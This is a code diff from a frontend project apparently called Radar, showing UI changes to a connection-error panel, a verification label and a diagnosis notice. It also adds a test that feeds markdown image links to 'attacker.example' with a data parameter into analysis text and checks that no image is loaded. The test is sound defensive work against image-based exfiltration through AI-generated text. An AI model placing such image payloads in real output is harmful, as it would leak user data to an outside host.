- <RefreshCw className="w-4 h-4" />
537
- Retry Connection
538
- </>
539
- )}
540
- </button>
541
-
542
- {back && (
543
- <button
544
- onClick={back.onBack}
545
- disabled={back.disabled}
546
- className="inline-flex items-center gap-2 px-4 py-2 rounded-lg border border-theme-border bg-theme-surface text-theme-text-primary hover:bg-theme-hover disabled:opacity-50 whitespace-nowrap"
547
- >
548
- <ArrowLeft className="w-4 h-4" />
549
- Back to {back.label}
550
- </button>
551
- )}
552
-
553
- {connection.context && <ContextSwitcher triggerName="Switch context" />}
554
- </div>
555
-
556
- {isAuthError && variant === 'connection' && (
557
- <p className="mt-4 text-xs text-theme-text-tertiary">
558
- {isAuthRejected
559
- ? 'Radar re-checks in the background — access changes are picked up automatically. Use Retry Connection to check immediately.'
560
- : isAuthPluginStuck
561
- ? 'Radar re-checks in the background and reconnects when the credential plugin responds. Use Retry Connection to check immediately.'
562
- : 'Radar re-checks in the background and reconnects once credentials are refreshed. Use Retry Connection to check immediately.'}
563
- </p>
564
- )}
565
584
  </div>
566
585
  </div>
586
+ <div className="flex-[3_1_0] min-h-6" />
567
587
  </div>
568
588
  )
569
589
  }
@@ -316,11 +316,13 @@ export function TurnView({
316
316
  <div className="flex items-center gap-2 rounded-md border border-theme-border/60 bg-theme-base/40 px-2.5 py-2 text-xs text-theme-text-secondary">
317
317
  <RefreshCw className="h-3.5 w-3.5 shrink-0 text-accent" />
318
318
  <span className="font-medium text-theme-text-primary">
319
- Automatic verification
320
- </span>
321
- <span className="text-theme-text-tertiary">
322
- Re-checking after apply
319
+ Workload verification
323
320
  </span>
321
+ {turn.status === "running" && (
322
+ <span className="text-theme-text-tertiary">
323
+ Checking the current workload
324
+ </span>
325
+ )}
324
326
  </div>
325
327
  ) : (
326
328
  <QuestionBubble text={turn.question} actor={turn.actor} />
@@ -327,6 +327,18 @@ describe("AnalysisStory", () => {
327
327
  expect(withTrailing).not.toContain("data-trailing");
328
328
  });
329
329
 
330
+ it("never loads an image the analysis text asks for, in the preview, the faded teaser or the open story", () => {
331
+ const report =
332
+ "Opening ![a](https://attacker.example/1?d=x).\n\n[[radar:evidence=0]]\n\nBehind the fold ![b](https://attacker.example/2?d=x).\n\n[[radar:evidence=1]]";
333
+ for (const html of [render(report), render(report, true)]) {
334
+ expect(html).not.toContain("<img");
335
+ expect(html).not.toContain("preload");
336
+ expect(html).not.toContain("attacker.example");
337
+ }
338
+ expect(render(report)).toContain("data-story-teaser");
339
+ expect(render(report, true)).toContain("Behind the fold <span>b</span>.");
340
+ });
341
+
330
342
  it("does not offer a fold when everything already fits the preview", () => {
331
343
  const html = render("One paragraph only.");
332
344
  expect(html).toContain("One paragraph only.");
@@ -1288,8 +1288,7 @@ function DiagnosisResult({
1288
1288
  {!actionNotice && !recValid && (
1289
1289
  <p className="mt-2 flex items-start gap-1.5 text-[11px] leading-snug text-theme-text-tertiary">
1290
1290
  <ShieldCheck className="mt-0.5 h-3 w-3 shrink-0" />
1291
- No one-click fix is available. Review these steps and apply them
1292
- manually, or ask the agent to continue.
1291
+ Review these steps before changing the workload.
1293
1292
  </p>
1294
1293
  )}
1295
1294
  </div>